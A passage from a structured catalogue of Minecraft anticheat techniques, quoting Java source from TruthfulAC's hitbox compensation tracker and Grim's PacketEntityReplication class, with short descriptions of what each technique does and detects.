(destroyedAt >= 0 && currentTick - destroyedAt > DESTROY_GRACE_TICKS) {\n                return true;\n            }\n            return currentTick - this.lastSeenTick > MAX_STALE_TICKS;\n        }\n\n        public synchronized void snapshot(int tick, Location loc, double width, double height) {\n            snapshot(tick, loc.getX(), loc.getY(), loc.getZ(), width, height);\n        }\n\n        public synchronized SimpleHitbox getHitboxAt(int serverTickDelay) {\n            return getHitboxAt(serverTickDelay, Truthful.getInstance().getCompensationTracker().getCurrentTick());\n        }\n\n        public synchronized SimpleHitbox getHitboxAt(int serverTickDelay, int currentTick) {\n            if (serverTickDelay > MAX_BACKTRACK_TICKS)\n                serverTickDelay = MAX_BACKTRACK_TICKS;\n            if (serverTickDelay < 0)\n                serverTickDelay = 0;\n\n            int targetTick = currentTick - serverTickDelay;\n\n            EntitySnapshot bestPrev = null;\n            int bestPrevTick = Integer.MIN_VALUE;\n            EntitySnapshot bestNext = null;\n            int bestNextTick = Integer.MAX_VALUE;\n\n            for (int i = 0; i < count; i++) {\n                int tick = ticks[i];\n                EntitySnapshot s = snapshots[i];\n\n                if (tick == targetTick)\n                    return s.toHitbox();\n\n                if (tick < targetTick && tick > bestPrevTick) {\n                    bestPrevTick = tick;\n                    bestPrev = s;\n                } else if (tick > targetTick && tick < bestNextTick) {\n                    bestNextTick = tick;\n                    bestNext = s;\n                }\n            }\n\n            if (bestPrev != null && bestNext != null) {\n                int tickDelta = bestNextTick - bestPrevTick;\n                if (tickDelta <= 0)\n                    return bestPrev.toHitbox();\n                double progress = (double) (targetTick - bestPrevTick) / (double) tickDelta;\n                return EntitySnapshot.interpolate(bestPrev, bestNext, progress);\n            }\n\n            if (count > 0) {\n                int latestIdx = (head - 1 + HISTORY_SIZE) % HISTORY_SIZE;\n                return snapshots[latestIdx].toHitbox();\n            }\n            return null;\n        }\n    }\n\n    private void syncFromLiveEntityIfNeeded(int entityId, CompensatedEntity data, int currentTick) {\n        if (!Bukkit.isPrimaryThread()) return;\n\n        Entity entity = findEntity(entityId);\n        if (entity == null || !entity.isValid()) return;\n\n        EntitySnapshot latest = data.getLatest();\n        if (latest == null) {\n            handleEntitySnapshot(entity);\n            return;\n        }\n\n        EntityBox live = readEntityBox(entity);\n        double dx = latest.x - live.x;\n        double dy = latest.y - live.y;\n        double dz = latest.z - live.z;\n        double distanceSquared = dx * dx + dy * dy + dz * dz;\n\n        if (distanceSquared > LIVE_RESYNC_DISTANCE_SQUARED || currentTick - data.lastSeenTick > MAX_STALE_TICKS) {\n            data.snapshot(currentTick, live.x, live.y, live.z, live.width, live.height);\n        }\n    }\n\n    private Entity findEntity(int entityId) {\n        java.lang.ref.WeakReference<Entity> ref = entityCache.get(entityId);\n        if (ref != null) {\n            Entity e = ref.get();\n            if (e != null && e.isValid()) return e;\n        }\n\n        for (World world : Bukkit.getWorlds()) {\n            for (Entity entity : world.getEntities()) {\n                if (entity.getEntityId() == entityId) {\n                    entityCache.put(entityId, new java.lang.ref.WeakReference<>(entity));\n                    return entity;\n                }\n            }\n        }\n        return null;\n    }\n\n    private EntityBox readEntityBox(Entity entity) {\n        try {\n            BoundingBox box = entity.getBoundingBox();\n            double width = Math.max(box.getMaxX() - box.getMinX(), box.getMaxZ() - box.getMinZ());\n            double height = box.getMaxY() - box.getMinY();\n            return new EntityBox(\n                    (box.getMinX() + box.getMaxX()) * 0.5,\n                    box.getMinY(),\n                    (box.getMinZ() + box.getMaxZ()) * 0.5,\n                    width,\n                    height\n            );\n        } catch (Throwable ignored) {\n            Location location = entity.getLocation();\n            return new EntityBox(location.getX(), location.getY(), location.getZ(), 0.6, 1.8);\n        }\n    }\n\n    private static final class EntityBox {\n        final double x, y, z, width, height;\n\n        EntityBox(double x, double y, double z, double width, double height) {\n            this.x = x;\n            this.y = y;\n            this.z = z;\n            this.width = width;\n            this.height = height;\n        }\n    }\n\n    public static class EntitySnapshot {\n        final double x, y, z, width, height;\n\n        EntitySnapshot(double x, double y, double z, double width, double height) {\n            this.x = x;\n            this.y = y;\n            this.z = z;\n            this.width = width;\n            this.height = height;\n        }\n\n        public SimpleHitbox toHitbox() {\n            return new SimpleHitbox(x, y, z, width, height);\n        }\n\n        static SimpleHitbox interpolate(EntitySnapshot from, EntitySnapshot to, double t) {\n            return new SimpleHitbox(\n                    from.x + (to.x - from.x) * t,\n                    from.y + (to.y - from.y) * t,\n                    from.z + (to.z - from.z) * t,\n                    from.width + (to.width - from.width) * t,\n                    from.height + (to.height - from.height) * t);\n        }\n    }\n}\n\n// NOTE (AI): handleSpawn is lines 50-56, and the destroy counterpart handleDestroy (116-121) marks the entity destroyed with a 6-tick grace so late attacks do not retroactively flag.\n",
       "code_source": "TawnyE-TruthfulAC, src/main/java/ret/tawny/truthful/compensation/CompensationTracker.java",
       "variations": "Grim replicates spawns into compensatedEntities; Hydro inserts a TrackedEntity; Tecnio and Artemis seed their reach trackers from the same packet family."
      },
      {
       "name": "Entity replication (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Replicate every spawned entity, including mobs, into the compensated entity map so reach, hitbox and velocity checks see the client's view.",
       "how_it_works": "PacketEntityReplication.onPacketSend wraps SPAWN_LIVING_ENTITY as WrapperPlayServerSpawnLivingEntity and calls addEntity with entity id, uuid, type, position, rotations and the full metadata. The replicated entity then receives S14 relative moves and S18 teleports exactly like the client's copy, and DESTROY_ENTITIES removes it after the transaction that delivers the packet. Spawn velocity from the packet feeds knockback compensation without a separate S12.",
       "detects": "Nothing directly: it is the replication layer. Reach and velocity checks consume the map, and the firework-boost path even setbacks players who destroy a boosting firework entity early.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.LogUtil;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.DashableEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityHook;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityTrackXRot;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.nmsutil.EntityMetadataPoseUtil;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.EntityPositionData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.protocol.player.UserProfile;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerAttachEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEquipment;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityPositionSync;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMoveAndRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityStatus;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfo;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoRemove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoUpdate;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRemoveEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPassengers;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPainting;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPlayer;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\npublic class PacketEntityReplication extends Check implements PacketReceiveListener, PacketSendListener {\n\n    private final AtomicBoolean hasSentPreWavePacket = new AtomicBoolean(true);\n\n    // Let's imagine the player is on a boat.\n    // The player breaks this boat\n    // If we were to despawn the boat without an extra transaction, then the boat would disappear before\n    // it disappeared on the client side, creating a ghost boat to flag checks with\n    //\n    // If we were to despawn the tick after, spawning must occur the transaction before to stop the same exact\n    // problem with ghost boats in reverse.\n    //\n    // Therefore, we despawn the transaction after, and spawn the tick before.\n    //\n    // If we despawn then spawn an entity in the same transaction, then this solution would despawn the new entity\n    // instead of the old entity, so we wouldn't see the boat at all\n    //\n    // Therefore, if the server sends a despawn and then a spawn in the same transaction for the same entity,\n    // We should simply add a transaction (which will clear this list!)\n    //\n    // Another valid solution is to simply spam more transactions, but let's not waste bandwidth.\n    private final List<Integer> despawnedEntitiesThisTransaction = new ArrayList<>();\n\n    // Maximum ping when a firework boost is removed from the player.\n    private int maxFireworkBoostPing = 1000;\n\n    public PacketEntityReplication(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        // Teleports don't interpolate, duplicate 1.17 packets don't interpolate\n        if (!isTickPacket(event.getPacketType())) return;\n        player.compensatedEntities.entitiesRemovedThisTick.clear();\n        boolean isTickingReliably = player.isTickingReliablyFor(3);\n\n        PacketEntity playerVehicle = player.compensatedEntities.self.getRiding();\n        for (PacketEntity entity : player.compensatedEntities.entityMap.values()) {\n            if (entity == playerVehicle && !player.vehicleData.lastDummy) {\n                // The player has this as their vehicle, so they aren't interpolating it.\n                // And it isn't a dummy position\n                entity.setPositionRaw(player, entity.getPossibleLocationBoxes());\n            } else {\n                entity.onMovement(isTickingReliably);\n            }\n        }\n\n        if (player.vehicleData.camelSprintingState == SprintingState.STOPPING) {\n            player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n        } else if (player.vehicleData.camelSprintingState == SprintingState.STOPPED && player.isSprinting) { // For sprint desyncs\n            player.vehicleData.camelSprintingState = SprintingState.STARTED;\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        // ensure grim is the one that sent the transaction\n        if ((event.getPacketType() == PacketType.Play.Server.PING || event.getPacketType() == PacketType.Play.Server.WINDOW_CONFIRMATION) && player.packetStateData.lastServerTransWasValid) {\n            despawnedEntitiesThisTransaction.clear();\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            WrapperPlayServerSpawnLivingEntity packetOutEntity = new WrapperPlayServerSpawnLivingEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getEntityUUID(), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_ENTITY) {\n            WrapperPlayServerSpawnEntity packetOutEntity = new WrapperPlayServerSpawnEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID().orElse(null), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), null, packetOutEntity.getData());\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            WrapperPlayServerSpawnPlayer packetOutEntity = new WrapperPlayServerSpawnPlayer(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PLAYER, packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PAINTING) {\n            WrapperPlayServerSpawnPainting packetOutEntity = new WrapperPlayServerSpawnPainting(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PAINTING, packetOutEntity.getPosition().toVector3d(), 0, 0f, null, packetOutEntity.getDirection().getHorizontalIndex());\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            WrapperPlayServerEntityRelativeMove move = new WrapperPlayServerEntityRelativeMove(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), null, null, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            WrapperPlayServerEntityRelativeMoveAndRotation move = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            WrapperPlayServerEntityTeleport move = new WrapperPlayServerEntityTeleport(event);\n            Vector3d pos = move.getPosition();\n            handleMoveEntity(event, move.getEntityId(), pos.getX(), pos.getY(), pos.getZ(), move.getYaw(), move.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_POSITION_SYNC) {\n            // ENTITY_TELEPORT but without relative flags\n            WrapperPlayServerEntityPositionSync move = new WrapperPlayServerEntityPositionSync(event);\n            final EntityPositionData values = move.getValues();\n            final Vector3d pos = values.getPosition();\n            // TODO this isn't technically correct\n            // If the position sync is to a pos > 4096 from the entity pos, client does some special stuff without interpolation\n            handleMoveEntity(event, move.getId(), pos.getX(), pos.getY(), pos.getZ(), values.getYaw(), values.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_ROTATION) { // Affects interpolation\n            WrapperPlayServerEntityRotation move = new WrapperPlayServerEntityRotation(event);\n            handleMoveEntity(event, move.getEntityId(), 0, 0, 0, move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, false);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_METADATA) {\n            WrapperPlayServerEntityMetadata entityMetadata = new WrapperPlayServerEntityMetadata(event);\n            schedulePoseTransition(entityMetadata, event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityMetadata(entityMetadata.getEntityId(), entityMetadata.getEntityMetadata()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EQUIPMENT) {\n            WrapperPlayServerEntityEquipment equipment = new WrapperPlayServerEntityEquipment(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityEquipment(equipment.getEntityId(), equipment.getEquipment()));\n        }\n\n        // 1.19.3+\n        else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_UPDATE) {\n            WrapperPlayServerPlayerInfoUpdate info = new WrapperPlayServerPlayerInfoUpdate(event);\n            if (info.getActions().contains(WrapperPlayServerPlayerInfoUpdate.Action.ADD_PLAYER)) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    for (WrapperPlayServerPlayerInfoUpdate.PlayerInfo entry : info.getEntries()) {\n                        final UserProfile gameProfile = entry.getGameProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                });\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_REMOVE) {\n            WrapperPlayServerPlayerInfoRemove remove = new WrapperPlayServerPlayerInfoRemove(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> remove.getProfileIds().forEach(player.compensatedEntities.profiles::remove));\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO) {\n            WrapperPlayServerPlayerInfo info = new WrapperPlayServerPlayerInfo(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (info.getAction() == WrapperPlayServerPlayerInfo.Action.ADD_PLAYER) {\n                    for (WrapperPlayServerPlayerInfo.PlayerData entry : info.getPlayerDataList()) {\n                        final UserProfile gameProfile = entry.getUserProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                } else if (info.getAction() == WrapperPlayServerPlayerInfo.Action.REMOVE_PLAYER) {\n                    info.getPlayerDataList().forEach(profile -> player.compensatedEntities.profiles.remove(profile.getUserProfile().getUUID()));\n                }\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EFFECT) {\n            WrapperPlayServerEntityEffect effect = new WrapperPlayServerEntityEffect(event);\n\n            PotionType type = effect.getPotionType();\n\n            // ViaVersion tries faking levitation effects and fails badly lol, flagging the anticheat\n            // Block other effects just in case ViaVersion gets any ideas\n            //\n            // Set to 24 so ViaVersion blocks it\n            // 24 is the levitation effect\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) > 23) {\n                event.setCancelled(true);\n                return;\n            }\n\n            // ViaVersion dolphin's grace also messes us up, set it to a potion effect that doesn't exist on 1.12\n            // Effect 31 is bad omen\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_13) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) == 30) {\n                event.setCancelled(true);\n                return;\n            }\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.addPotionEffect(type, effect.getEffectAmplifier());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.REMOVE_ENTITY_EFFECT) {\n            WrapperPlayServerRemoveEntityEffect effect = new WrapperPlayServerRemoveEntityEffect(event);\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.removePotionEffect(effect.getPotionType());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.UPDATE_ATTRIBUTES) {\n            WrapperPlayServerUpdateAttributes attributes = new WrapperPlayServerUpdateAttributes(event);\n\n            int entityID = attributes.getEntityId();\n\n            // The attributes for this entity is active, currently\n            if (isDirectlyAffectingPlayer(player, entityID)) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                    () -> player.compensatedEntities.updateAttributes(entityID, attributes.getProperties()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_STATUS) {\n            WrapperPlayServerEntityStatus status = new WrapperPlayServerEntityStatus(event);\n            // This hasn't changed from 1.7.2 to 1.17\n            // Needed to exempt players on dead vehicles, as dead entities have strange physics.\n            if (status.getStatus() == 3) {\n                PacketEntity entity = player.compensatedEntities.getEntity(status.getEntityId());\n\n                if (entity == null) return;\n                entity.isDead = true;\n            }\n\n            if (status.getStatus() == 9) {\n                if (status.getEntityId() != player.entityID) return;\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n            }\n\n            if (status.getStatus() == 31) {\n                PacketEntity hook = player.compensatedEntities.getEntity(status.getEntityId());\n                if (!(hook instanceof PacketEntityHook hookEntity)) return;\n\n                if (hookEntity.attached == player.entityID) {\n                    player.sendTransaction();\n                    // We don't transaction sandwich this, it's too rare to be a real problem.\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.uncertaintyHandler.fishingRodPulls.add(hookEntity.owner));\n                }\n            }\n\n            if (status.getStatus() >= 24 && status.getStatus() <= 28 && status.getEntityId() == player.entityID) {\n                player.compensatedEntities.self.opLevel = status.getStatus() - 24;\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n\n            if (slot.getWindowId() == 0) {\n                Runnable task = () -> {\n                    if (slot.getSlot() - 36 == player.packetStateData.lastSlotSelected && (\n                            !player.inventory.getHeldItem().is(slot.getItem().getType()) || player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)\n                    ) || slot.getSlot() == 45 && !player.inventory.getOffHand().is(slot.getItem().getType())) {\n                        InteractionHand hand = slot.getSlot() == 45 ? InteractionHand.OFF_HAND : InteractionHand.MAIN_HAND;\n                        if (hand == player.packetStateData.itemInUseHand) {\n                            player.packetStateData.setSlowedByUsingItem(false);\n                        }\n\n                        if (player.isResetItemUsageOnItemUpdate() && hand == GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer)) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n\n            if (items.getWindowId() == 0) { // Player inventory\n                Runnable task = () -> {\n                    if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) {\n                        player.packetStateData.setSlowedByUsingItem(false);\n                        if (player.isResetItemUsageOnItemUpdate()) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    } else {\n                        if (items.getItems().size() > 45 && !player.inventory.getOffHand().is(items.getItems().get(45).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.OFF_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.OFF_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n\n                        if (!player.inventory.getHeldItem().is(items.getItems().get(player.packetStateData.lastSlotSelected + 36).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.MAIN_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.MAIN_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        }\n\n        // 1.8 clients fail to send the RELEASE_USE_ITEM packet when a window is opened client sided while using an item\n        else if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_PASSENGERS) {\n            WrapperPlayServerSetPassengers mount = new WrapperPlayServerSetPassengers(event);\n\n            int vehicleID = mount.getEntityId();\n            int[] passengers = mount.getPassengers();\n\n            handleMountVehicle(event, vehicleID, passengers);\n        } else if (event.getPacketType() == PacketType.Play.Server.ATTACH_ENTITY) {\n            WrapperPlayServerAttachEntity attach = new WrapperPlayServerAttachEntity(event);\n\n            // This packet was replaced by the mount packet on 1.9+ servers - to support multiple passengers on one vehicle\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))\n                return;\n\n            // If this is mounting rather than leashing\n            if (!attach.isLeash()) {\n                // Alright, let's convert this to the 1.9+ format to make it easier for grim\n                int vehicleID = attach.getHoldingId();\n                int attachID = attach.getAttachedId();\n                TrackerData trackerData = player.compensatedEntities.getTrackedEntity(attachID);\n\n                if (trackerData != null) {\n                    // 1.8 sends a vehicle ID of -1 to dismount the entity from its vehicle\n                    // This is opposite of the 1.9+ format, which sends the vehicle ID and then an empty array.\n                    if (vehicleID == -1) { // Dismounting\n                        vehicleID = trackerData.getLegacyPointEightMountedUpon();\n                        handleMountVehicle(event, vehicleID, new int[]{}); // The vehicle is empty\n                    } else { // Mounting\n                        trackerData.setLegacyPointEightMountedUpon(vehicleID);\n                        handleMountVehicle(event, vehicleID, new int[]{attachID});\n                    }\n                } else {\n                    // I don't think we can recover from this... warn and move on as this shouldn't happen.\n                    LogUtil.warn(\"Server sent an invalid attach entity packet for entity \" + attach.getHoldingId() + \" with passenger \" + attach.getAttachedId() + \"! The client ignores this.\");\n                }\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            WrapperPlayServerDestroyEntities destroy = new WrapperPlayServerDestroyEntities(event);\n\n            int[] destroyEntityIds = destroy.getEntityIds();\n\n            for (int entityID : destroyEntityIds) {\n                despawnedEntitiesThisTransaction.add(entityID);\n                player.compensatedEntities.serverPositionsMap.remove(entityID);\n                // Remove the tracked vehicle (handling tracking knockback) if despawned\n                if (player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == entityID) {\n                    player.compensatedEntities.serverPlayerVehicle = null;\n                }\n            }\n\n            final int destroyTransaction = player.lastTransactionSent.get() + 1;\n            player.latencyUtils.addRealTimeTask(destroyTransaction, () -> {\n                for (int entityId : destroyEntityIds) {\n                    player.compensatedEntities.removeEntity(entityId);\n                    player.dashableEntities.removeEntity(entityId);\n                    player.fireworks.removeFirework(entityId);\n                    player.compensatedEntities.entitiesRemovedThisTick.add(entityId);\n                }\n            });\n\n            // Don't let the player freeze transactions to keep the firework boost velocity + uncertainty\n            // Also generally prevents people with high ping gaining too high an advantage in firework use\n            if (maxFireworkBoostPing > 0) {\n                player.runNettyTaskInMs(() -> {\n                    if (player.lastTransactionReceived.get() >= destroyTransaction) return;\n                    for (int entityID : destroyEntityIds) {\n                        // If the player has a firework boosting them, setback\n                        if (player.fireworks.hasFirework(entityID)) {\n                            player.getSetbackTeleportUtil().executeViolationSetback();\n                            break;\n                        }\n                    }\n                }, maxFireworkBoostPing);\n            }\n        }\n    }\n\n    private void handleMountVehicle(PacketSendEvent event, int vehicleID, int[] passengers) {\n        boolean wasInVehicle = player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == vehicleID;\n        boolean inThisVehicle = false;\n\n        for (int passenger : passengers) {\n            inThisVehicle = passenger == player.entityID;\n            if (inThisVehicle) break;\n        }\n\n        if (inThisVehicle && !wasInVehicle) {\n            player.handleMountVehicle(vehicleID);\n        }\n\n        if (!inThisVehicle && wasInVehicle) {\n            player.handleDismountVehicle(event);\n        }\n        // Better lag compensation if we were affected by this\n        if (wasInVehicle || inThisVehicle) {\n            player.sendTransaction();\n        }\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity vehicle = player.compensatedEntities.getEntity(vehicleID);\n\n            // Vanilla likes sending null vehicles, so we must ignore those like the client ignores them\n            if (vehicle == null) return;\n\n            // Eject existing passengers for this vehicle\n            for (PacketEntity passenger : new ArrayList<>(vehicle.passengers)) {\n                passenger.eject();\n            }\n\n            // Add the entities as vehicles\n            for (int entityID : passengers) {\n                PacketEntity passenger = player.compensatedEntities.getEntity(entityID);\n                if (passenger == null) continue;\n                passenger.mount(vehicle);\n            